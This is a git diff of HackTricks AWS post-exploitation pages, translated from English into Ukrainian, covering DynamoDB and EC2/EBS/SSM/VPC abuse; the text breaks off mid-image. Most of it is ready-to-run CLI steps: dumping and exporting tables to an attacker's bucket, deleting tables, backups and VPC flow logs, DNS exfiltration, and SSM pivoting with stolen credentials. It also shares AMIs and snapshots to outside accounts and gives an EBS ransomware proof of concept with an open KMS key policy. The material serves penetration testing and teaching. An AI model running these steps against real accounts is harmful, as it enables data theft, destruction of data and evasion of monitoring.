batch-get-item --request-items file:///tmp/a.json // With a.json { - "ProductCatalog" : { // This is the table name - "Keys": [ - { - "Id" : { // Primary keys name - "N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those - } - } - ] - } +"ProductCatalog" : { // This is the table name +"Keys": [ +{ +"Id" : { // Primary keys name +"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those +} +} +] +} } ``` - {{#endtab }} {{#tab name="inline" }} - ```bash aws dynamodb batch-get-item \ - --request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \ - --region +--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \ +--region ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**Потенційний вплив:** Непряме підвищення привілеїв шляхом знаходження чутливої інформації в таблиці ### `dynamodb:GetItem` -**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve: - +**Схоже на попередні дозволи** цей дозволяє потенційному атакуючому читати значення лише з 1 таблиці, якщо відомий первинний ключ запису для отримання: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json // With a.json { "Id" : { - "N": "205" +"N": "205" } } ``` - -With this permission it's also possible to use the **`transact-get-items`** method like: - +З цим дозволом також можливо використовувати метод **`transact-get-items`** так: ```json aws dynamodb transact-get-items \ - --transact-items file:///tmp/a.json +--transact-items file:///tmp/a.json // With a.json [ - { - "Get": { - "Key": { - "Id": {"N": "205"} - }, - "TableName": "ProductCatalog" - } - } +{ +"Get": { +"Key": { +"Id": {"N": "205"} +}, +"TableName": "ProductCatalog" +} +} ] ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**Потенційний вплив:** Непряме підвищення привілеїв шляхом знаходження чутливої інформації в таблиці ### `dynamodb:Query` -**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve. It allows to use a [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), but the only comparison allowed with the primary key (that must appear) is "EQ", so you cannot use a comparison to get the whole DB in a request. +**Схоже на попередні дозволи** цей дозволяє потенційному атакуючому читати значення лише з 1 таблиці, враховуючи первинний ключ запису для отримання. Дозволяє використовувати [підмножину порівнянь](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), але єдине порівняння, яке дозволено з первинним ключем (яке повинно з'являтися) - це "EQ", тому ви не можете використовувати порівняння, щоб отримати всю БД в одному запиті. {{#tabs }} {{#tab name="json file" }} - ```bash aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json - // With a.json - { +// With a.json +{ "Id" : { - "ComparisonOperator":"EQ", - "AttributeValueList": [ {"N": "205"} ] - } +"ComparisonOperator":"EQ", +"AttributeValueList": [ {"N": "205"} ] +} } ``` - {{#endtab }} {{#tab name="inline" }} - ```bash aws dynamodb query \ - --table-name TargetTable \ - --key-condition-expression "AttributeName = :value" \ - --expression-attribute-values '{":value":{"S":"TargetValue"}}' \ - --region +--table-name TargetTable \ +--key-condition-expression "AttributeName = :value" \ +--expression-attribute-values '{":value":{"S":"TargetValue"}}' \ +--region ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**Потенційний вплив:** Непряме підвищення привілеїв шляхом знаходження чутливої інформації в таблиці ### `dynamodb:Scan` -You can use this permission to **dump the entire table easily**. - +Ви можете використовувати цей дозвіл, щоб **легко вивантажити всю таблицю**. ```bash aws dynamodb scan --table-name #Get data inside the table ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**Потенційний вплив:** Непряме підвищення привілеїв шляхом знаходження чутливої інформації в таблиці ### `dynamodb:PartiQLSelect` -You can use this permission to **dump the entire table easily**. - +Ви можете використовувати цей дозвіл, щоб **легко вивантажити всю таблицю**. ```bash aws dynamodb execute-statement \ - --statement "SELECT * FROM ProductCatalog" +--statement "SELECT * FROM ProductCatalog" ``` - -This permission also allow to perform `batch-execute-statement` like: - +Ця дозволяє виконувати `batch-execute-statement`, такі як: ```bash aws dynamodb batch-execute-statement \ - --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' +--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' ``` +але вам потрібно вказати первинний ключ з значенням, тому це не так корисно. -but you need to specify the primary key with a value, so it isn't that useful. - -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**Потенційний вплив:** Непряме підвищення привілеїв шляхом знаходження чутливої інформації в таблиці ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` -This permission will allow an attacker to **export the whole table to a S3 bucket** of his election: - +Ця дозволена дія дозволить зловмиснику **експортувати всю таблицю в S3 бакет** на його вибір: ```bash aws dynamodb export-table-to-point-in-time \ - --table-arn arn:aws:dynamodb:::table/TargetTable \ - --s3-bucket \ - --s3-prefix \ - --export-time \ - --region +--table-arn arn:aws:dynamodb:::table/TargetTable \ +--s3-bucket \ +--s3-prefix \ +--export-time \ +--region ``` - -Note that for this to work the table needs to have point-in-time-recovery enabled, you can check if the table has it with: - +Зверніть увагу, що для цього таблиця повинна мати увімкнене відновлення на момент часу, ви можете перевірити, чи має таблиця цю функцію за допомогою: ```bash aws dynamodb describe-continuous-backups \ - --table-name +--table-name ``` - -If it isn't enabled, you will need to **enable it** and for that you need the **`dynamodb:ExportTableToPointInTime`** permission: - +Якщо це не увімкнено, вам потрібно **увімкнути це**, і для цього вам потрібен дозвіл **`dynamodb:ExportTableToPointInTime`**: ```bash aws dynamodb update-continuous-backups \ - --table-name \ - --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true +--table-name \ +--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**Потенційний вплив:** Непряме підвищення привілеїв шляхом знаходження чутливої інформації в таблиці ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` -With these permissions, an attacker would be able to **create a new table from a backup** (or even create a backup to then restore it in a different table). Then, with the necessary permissions, he would be able to check **information** from the backups that c**ould not be any more in the production** table. - +З цими дозволами зловмисник зможе **створити нову таблицю з резервної копії** (або навіть створити резервну копію, щоб потім відновити її в іншій таблиці). Потім, з необхідними дозволами, він зможе перевірити **інформацію** з резервних копій, яка **може більше не бути в продуктивній** таблиці. ```bash aws dynamodb restore-table-from-backup \ - --backup-arn \ - --target-table-name \ - --region +--backup-arn \ +--target-table-name \ +--region ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the table backup +**Потенційний вплив:** Непряме підвищення привілеїв шляхом знаходження чутливої інформації в резервній копії таблиці ### `dynamodb:PutItem` -This permission allows users to add a **new item to the table or replace an existing item** with a new item. If an item with the same primary key already exists, the **entire item will be replaced** with the new item. If the primary key does not exist, a new item with the specified primary key will be **created**. +Цей дозвіл дозволяє користувачам додавати **новий елемент до таблиці або замінювати існуючий елемент** новим елементом. Якщо елемент з таким же первинним ключем вже існує, **весь елемент буде замінено** новим елементом. Якщо первинний ключ не існує, буде **створено** новий елемент з вказаним первинним ключем. {{#tabs }} {{#tab name="XSS Example" }} - ```bash ## Create new item with XSS payload aws dynamodb put-item --table --item file://add.json ### With add.json: { - "Id": { - "S": "1000" - }, - "Name": { - "S": "Marc" - }, - "Description": { - "S": "" - } +"Id": { +"S": "1000" +}, +"Name": { +"S": "Marc" +}, +"Description": { +"S": "" +} } ``` - {{#endtab }} {{#tab name="AI Example" }} - ```bash aws dynamodb put-item \ - --table-name ExampleTable \ - --item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \ - --region +--table-name ExampleTable \ +--item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \ +--region ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Exploitation of further vulnerabilities/bypasses by being able to add/modify data in a DynamoDB table +**Потенційний вплив:** Експлуатація подальших вразливостей/обхідних шляхів шляхом можливості додавати/модифікувати дані в таблиці DynamoDB ### `dynamodb:UpdateItem` -This permission allows users to **modify the existing attributes of an item or add new attributes to an item**. It does **not replace** the entire item; it only updates the specified attributes. If the primary key does not exist in the table, the operation will **create a new item** with the specified primary key and set the attributes specified in the update expression. +Цей дозвіл дозволяє користувачам **модифікувати існуючі атрибути елемента або додавати нові атрибути до елемента**. Він **не замінює** весь елемент; він лише оновлює вказані атрибути. Якщо первинний ключ не існує в таблиці, операція **створить новий елемент** з вказаним первинним ключем і встановить атрибути, вказані в виразі оновлення. {{#tabs }} {{#tab name="XSS Example" }} - ```bash ## Update item with XSS payload aws dynamodb update-item --table \ - --key file://key.json --update-expression "SET Description = :value" \ - --expression-attribute-values file://val.json +--key file://key.json --update-expression "SET Description = :value" \ +--expression-attribute-values file://val.json ### With key.json: { - "Id": { - "S": "1000" - } +"Id": { +"S": "1000" +} } ### and val.json { - ":value": { - "S": "" - } +":value": { +"S": "" +} } ``` - {{#endtab }} {{#tab name="AI Example" }} - ```bash aws dynamodb update-item \ - --table-name ExampleTable \ - --key '{"Id": {"S": "1"}}' \ - --update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \ - --expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \ - --region +--table-name ExampleTable \ +--key '{"Id": {"S": "1"}}' \ +--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \ +--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \ +--region ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Exploitation of further vulnerabilities/bypasses by being able to add/modify data in a DynamoDB table +**Потенційний вплив:** Експлуатація подальших вразливостей/обхідних шляхів, маючи можливість додавати/модифікувати дані в таблиці DynamoDB ### `dynamodb:DeleteTable` -An attacker with this permission can **delete a DynamoDB table, causing data loss**. - +Зловмисник з цим дозволом може **видалити таблицю DynamoDB, що призведе до втрати даних**. ```bash aws dynamodb delete-table \ - --table-name TargetTable \ - --region +--table-name TargetTable \ +--region ``` - -**Potential impact**: Data loss and disruption of services relying on the deleted table. +**Потенційний вплив**: Втрата даних та порушення роботи сервісів, що залежать від видаленої таблиці. ### `dynamodb:DeleteBackup` -An attacker with this permission can **delete a DynamoDB backup, potentially causing data loss in case of a disaster recovery scenario**. - +Зловмисник з цим дозволом може **видалити резервну копію DynamoDB, що потенційно призведе до втрати даних у разі сценарію відновлення після катастрофи**. ```bash aws dynamodb delete-backup \ - --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ - --region +--backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ +--region ``` - -**Potential impact**: Data loss and inability to recover from a backup during a disaster recovery scenario. +**Потенційний вплив**: Втрата даних та неможливість відновлення з резервної копії під час сценарію відновлення після катастрофи. ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` > [!NOTE] -> TODO: Test if this actually works +> TODO: Перевірити, чи це дійсно працює -An attacker with these permissions can **enable a stream on a DynamoDB table, update the table to begin streaming changes, and then access the stream to monitor changes to the table in real-time**. This allows the attacker to monitor and exfiltrate data changes, potentially leading to data leakage. - -1. Enable a stream on a DynamoDB table: +Зловмисник з цими дозволами може **увімкнути потік на таблиці DynamoDB, оновити таблицю, щоб почати транслювати зміни, а потім отримати доступ до потоку для моніторингу змін у таблиці в реальному часі**. Це дозволяє зловмиснику моніторити та ексфільтрувати зміни даних, що потенційно призводить до витоку даних. +1. Увімкніть потік на таблиці DynamoDB: ```bash bashCopy codeaws dynamodb update-table \ - --table-name TargetTable \ - --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ - --region +--table-name TargetTable \ +--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ +--region ``` - -2. Describe the stream to obtain the ARN and other details: - +2. Опишіть потік для отримання ARN та інших деталей: ```bash bashCopy codeaws dynamodb describe-stream \ - --table-name TargetTable \ - --region +--table-name TargetTable \ +--region ``` - -3. Get the shard iterator using the stream ARN: - +3. Отримайте ітератор шардів, використовуючи ARN потоку: ```bash bashCopy codeaws dynamodbstreams get-shard-iterator \ - --stream-arn \ - --shard-id \ - --shard-iterator-type LATEST \ - --region +--stream-arn \ +--shard-id \ +--shard-iterator-type LATEST \ +--region ``` - -4. Use the shard iterator to access and exfiltrate data from the stream: - +4. Використовуйте ітератор шард для доступу та ексфільтрації даних з потоку: ```bash bashCopy codeaws dynamodbstreams get-records \ - --shard-iterator \ - --region +--shard-iterator \ +--region ``` - -**Potential impact**: Real-time monitoring and data leakage of the DynamoDB table's changes. +**Потенційний вплив**: Моніторинг в реальному часі та витік даних про зміни таблиці DynamoDB. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index 9ae6a0a4f..f3d8b7560 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -4,27 +4,26 @@ ## EC2 & VPC -For more information check: +Для отримання додаткової інформації перегляньте: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` +### **Зловмисне дзеркало VPC -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** without the need to install anything on the instances themselves. This duplicated traffic would commonly be sent to something like a network intrusion detection system (IDS) for analysis and monitoring.\ -An attacker could abuse this to capture all the traffic and obtain sensitive information from it: +Дзеркалювання трафіку VPC **дублює вхідний та вихідний трафік для EC2 інстансів у VPC** без необхідності встановлювати щось на самих інстансах. Цей дубльований трафік зазвичай надсилається на щось на кшталт системи виявлення мережевих вторгнень (IDS) для аналізу та моніторингу.\ +Зловмисник може зловживати цим, щоб захопити весь трафік і отримати чутливу інформацію з нього: -For more information check this page: +Для отримання додаткової інформації перегляньте цю сторінку: {{#ref}} aws-malicious-vpc-mirror.md {{#endref}} -### Copy Running Instance - -Instances usually contain some kind of sensitive information. There are different ways to get inside (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). However, another way to check what it contains is to **create an AMI and run a new instance (even in your own account) from it**: +### Копіювати працюючий інстанс +Інстанси зазвичай містять якийсь чутливий інформацію. Є різні способи потрапити всередину (перегляньте [трюки підвищення привілеїв EC2](../../aws-privilege-escalation/aws-ec2-privesc.md)). Однак інший спосіб перевірити, що він містить, це **створити AMI та запустити новий інстанс (навіть у вашому власному обліковому записі) з нього**: ```shell # List instances aws ec2 describe-images @@ -48,11 +47,10 @@ aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups " aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 ``` - ### EBS Snapshot dump -**Snapshots are backups of volumes**, which usually will contain **sensitive information**, therefore checking them should disclose this information.\ -If you find a **volume without a snapshot** you could: **Create a snapshot** and perform the following actions or just **mount it in an instance** inside the account: +**Снімки є резервними копіями томів**, які зазвичай міститимуть **чутливу інформацію**, тому їх перевірка повинна розкрити цю інформацію.\ +Якщо ви знайдете **том без снімка**, ви можете: **Створити снімок** і виконати наступні дії або просто **підключити його до екземпляра** в обліковому записі: {{#ref}} aws-ebs-snapshot-dump.md @@ -62,197 +60,178 @@ aws-ebs-snapshot-dump.md #### DNS Exfiltration -Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**. +Навіть якщо ви заблокуєте EC2, щоб жоден трафік не міг вийти, він все ще може **екстрагувати дані через DNS**. -- **VPC Flow Logs will not record this**. -- You have no access to AWS DNS logs. -- Disable this by setting "enableDnsSupport" to false with: +- **Журнали VPC Flow не зафіксують це**. +- У вас немає доступу до журналів AWS DNS. +- Вимкніть це, встановивши "enableDnsSupport" на false за допомогою: - `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` +`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` #### Exfiltration via API calls -An attacker could call API endpoints of an account controlled by him. Cloudtrail will log this calls and the attacker will be able to see the exfiltrate data in the Cloudtrail logs. +Зловмисник може викликати API кінцеві точки облікового запису, яким він керує. Cloudtrail зафіксує ці виклики, і зловмисник зможе побачити екстраговані дані в журналах Cloudtrail. ### Open Security Group -You could get further access to network services by opening ports like this: - +Ви можете отримати подальший доступ до мережевих служб, відкривши порти таким чином: ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC ``` - ### Privesc to ECS -It's possible to run an EC2 instance an register it to be used to run ECS instances and then steal the ECS instances data. +Можливо запустити EC2 екземпляр і зареєструвати його для використання для запуску ECS екземплярів, а потім вкрасти дані ECS екземплярів. -For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs). +Для [**додаткової інформації перевірте це**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs). ### Remove VPC flow logs - ```bash aws ec2 delete-flow-logs --flow-log-ids --region ``` - ### SSM Port Forwarding -Required permissions: +Необхідні дозволи: - `ssm:StartSession` -In addition to command execution, SSM allows for traffic tunneling which can be abused to pivot from EC2 instances that do not have network access because of Security Groups or NACLs. -One of the scenarios where this is useful is pivoting from a [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) to a private EKS cluster. +На додаток до виконання команд, SSM дозволяє тунелювання трафіку, що може бути використано для переходу з EC2 інстансів, які не мають мережевого доступу через Security Groups або NACLs. Один зі сценаріїв, де це корисно, - це перехід з [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) до приватного EKS кластера. -> In order to start a session you need the SessionManagerPlugin installed: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html - -1. Install the SessionManagerPlugin on your machine -2. Log in to the Bastion EC2 using the following command: +> Щоб розпочати сесію, вам потрібно встановити SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html +1. Встановіть SessionManagerPlugin на вашому комп'ютері +2. Увійдіть до Bastion EC2, використовуючи наступну команду: ```shell aws ssm start-session --target "$INSTANCE_ID" ``` - -3. Get the Bastion EC2 AWS temporary credentials with the [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) script -4. Transfer the credentials to your own machine in the `$HOME/.aws/credentials` file as `[bastion-ec2]` profile -5. Log in to EKS as the Bastion EC2: - +3. Отримайте тимчасові облікові дані Bastion EC2 AWS за допомогою скрипта [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) +4. Перенесіть облікові дані на свій комп'ютер у файл `$HOME/.aws/credentials` як профіль `[bastion-ec2]` +5. Увійдіть в EKS як Bastion EC2: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` - -6. Update the `server` field in `$HOME/.kube/config` file to point to `https://localhost` -7. Create an SSM tunnel as follows: - +6. Оновіть поле `server` у файлі `$HOME/.kube/config`, щоб вказати на `https://localhost` +7. Створіть тунель SSM наступним чином: ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region ``` - -8. The traffic from the `kubectl` tool is now forwarded throug the SSM tunnel via the Bastion EC2 and you can access the private EKS cluster from your own machine by running: - +8. Трафік з інструменту `kubectl` тепер перенаправляється через тунель SSM через Bastion EC2, і ви можете отримати доступ до приватного EKS кластера з вашої власної машини, запустивши: ```shell kubectl get pods --insecure-skip-tls-verify ``` +Зверніть увагу, що SSL-з'єднання не вдасться встановити, якщо ви не встановите прапорець `--insecure-skip-tls-verify` (або його еквівалент у K8s audit tools). Оскільки трафік тунелюється через безпечний тунель AWS SSM, ви захищені від будь-яких атак MitM. -Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). Seeing that the traffic is tunnelled through the secure AWS SSM tunnel, you are safe from any sort of MitM attacks. - -Finally, this technique is not specific to attacking private EKS clusters. You can set arbitrary domains and ports to pivot to any other AWS service or a custom application. +Нарешті, ця техніка не є специфічною для атак на приватні кластери EKS. Ви можете встановити довільні домени та порти для переходу до будь-якої іншої служби AWS або до власного застосунку. ### Share AMI - ```bash aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region ``` +### Пошук чутливої інформації в публічних та приватних AMI -### Search sensitive information in public and private AMIs - -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel is a tool designed to **search for sensitive information within public or private Amazon Machine Images (AMIs)**. It automates the process of launching instances from target AMIs, mounting their volumes, and scanning for potential secrets or sensitive data. - -### Share EBS Snapshot +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel - це інструмент, призначений для **пошуку чутливої інформації в публічних або приватних образах Amazon Machine Images (AMIs)**. Він автоматизує процес запуску екземплярів з цільових AMI, монтування їхніх томів та сканування на наявність потенційних секретів або чутливих даних. +### Поділитися знімком EBS ```bash aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region ``` - ### EBS Ransomware PoC -A proof of concept similar to the Ransomware demonstration demonstrated in the S3 post-exploitation notes. KMS should be renamed to RMS for Ransomware Management Service with how easy it is to use to encrypt various AWS services using it. - -First from an 'attacker' AWS account, create a customer managed key in KMS. For this example we'll just have AWS manage the key data for me, but in a realistic scenario a malicious actor would retain the key data outside of AWS' control. Change the key policy to allow for any AWS account Principal to use the key. For this key policy, the account's name was 'AttackSim' and the policy rule allowing all access is called 'Outside Encryption' +Доказ концепції, подібний до демонстрації Ransomware, показаної в нотатках про пост-експлуатацію S3. KMS слід перейменувати на RMS для Ransomware Management Service, з огляду на те, як легко його використовувати для шифрування різних сервісів AWS. +Спочатку з облікового запису 'атакуючого' AWS створіть ключ, керований користувачем, у KMS. Для цього прикладу ми просто дозволимо AWS керувати даними ключа за мене, але в реалістичному сценарії зловмисник зберігатиме дані ключа поза контролем AWS. Змініть політику ключа, щоб дозволити будь-якому обліковому запису AWS Principal використовувати ключ. Для цієї політики ключа ім'я облікового запису було 'AttackSim', а правило політики, що дозволяє весь доступ, називається 'Outside Encryption' ``` { - "Version": "2012-10-17", - "Id": "key-consolepolicy-3", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:root" - }, - "Action": "kms:*", - "Resource": "*" - }, - { - "Sid": "Allow access for Key Administrators", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:Create*", - "kms:Describe*", - "kms:Enable*", - "kms:List*", - "kms:Put*", - "kms:Update*", - "kms:Revoke*", - "kms:Disable*", - "kms:Get*", - "kms:Delete*", - "kms:TagResource", - "kms:UntagResource", - "kms:ScheduleKeyDeletion", - "kms:CancelKeyDeletion" - ], - "Resource": "*" - }, - { - "Sid": "Allow use of the key", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:Encrypt", - "kms:Decrypt", - "kms:ReEncrypt*", - "kms:GenerateDataKey*", - "kms:DescribeKey" - ], - "Resource": "*" - }, - { - "Sid": "Outside Encryption", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": [ - "kms:Encrypt", - "kms:Decrypt", - "kms:ReEncrypt*", - "kms:GenerateDataKey*", - "kms:DescribeKey", - "kms:GenerateDataKeyWithoutPlainText", - "kms:CreateGrant" - ], - "Resource": "*" - }, - { - "Sid": "Allow attachment of persistent resources", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:CreateGrant", - "kms:ListGrants", - "kms:RevokeGrant" - ], - "Resource": "*", - "Condition": { - "Bool": { - "kms:GrantIsForAWSResource": "true" - } - } - } - ] +"Version": "2012-10-17", +"Id": "key-consolepolicy-3", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:root" +}, +"Action": "kms:*", +"Resource": "*" +}, +{ +"Sid": "Allow access for Key Administrators", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:Create*", +"kms:Describe*", +"kms:Enable*", +"kms:List*", +"kms:Put*", +"kms:Update*", +"kms:Revoke*", +"kms:Disable*", +"kms:Get*", +"kms:Delete*", +"kms:TagResource", +"kms:UntagResource", +"kms:ScheduleKeyDeletion", +"kms:CancelKeyDeletion" +], +"Resource": "*" +}, +{ +"Sid": "Allow use of the key", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:Encrypt", +"kms:Decrypt", +"kms:ReEncrypt*", +"kms:GenerateDataKey*", +"kms:DescribeKey" +], +"Resource": "*" +}, +{ +"Sid": "Outside Encryption", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"kms:Encrypt", +"kms:Decrypt", +"kms:ReEncrypt*", +"kms:GenerateDataKey*", +"kms:DescribeKey", +"kms:GenerateDataKeyWithoutPlainText", +"kms:CreateGrant" +], +"Resource": "*" +}, +{ +"Sid": "Allow attachment of persistent resources", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:CreateGrant", +"kms:ListGrants", +"kms:RevokeGrant" +], +"Resource": "*", +"Condition": { +"Bool": { +"kms:GrantIsForAWSResource": "true" +} +} +} +] } ``` - -The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume: +Правило політики ключа потребує наступного для дозволу на використання його для шифрування обсягу EBS: - `kms:CreateGrant` - `kms:Decrypt` @@ -260,222 +239,214 @@ The key policy rule needs the following enabled to allow for the ability to use - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account. +Тепер, з публічно доступним ключем для використання. Ми можемо використовувати обліковий запис 'жертви', який має кілька EC2 екземплярів з прикріпленими нешифрованими обсягами EBS. Обсяги EBS цього 'жертви' є тим, що ми намагаємося зашифрувати, ця атака відбувається за припущенням про злом високопривілейованого облікового запису AWS. ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -Similar to the S3 ransomware example. This attack will create copies of the attached EBS volumes using snapshots, use the publicly available key from the 'attacker' account to encrypt the new EBS volumes, then detach the original EBS volumes from the EC2 instances and delete them, and then finally delete the snapshots used to create the newly encrypted EBS volumes. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +Схоже на приклад програм-вимагачів S3. Ця атака створить копії прикріплених обсягів EBS, використовуючи знімки, використає публічно доступний ключ з облікового запису 'зловмисника' для шифрування нових обсягів EBS, потім від'єднає оригінальні обсяги EBS від EC2 екземплярів і видалить їх, а потім нарешті видалить знімки, використані для створення нових зашифрованих обсягів EBS. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) -This results in only encrypted EBS volumes left available in the account. +Це призводить до того, що в обліковому записі залишаються лише зашифровані обсяги EBS. ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -Also worth noting, the script stopped the EC2 instances to detach and delete the original EBS volumes. The original unencrypted volumes are gone now. +Також варто зазначити, що скрипт зупинив EC2 екземпляри, щоб від'єднати та видалити оригінальні обсяги EBS. Оригінальні нешифровані обсяги тепер зникли. ![Pasted image 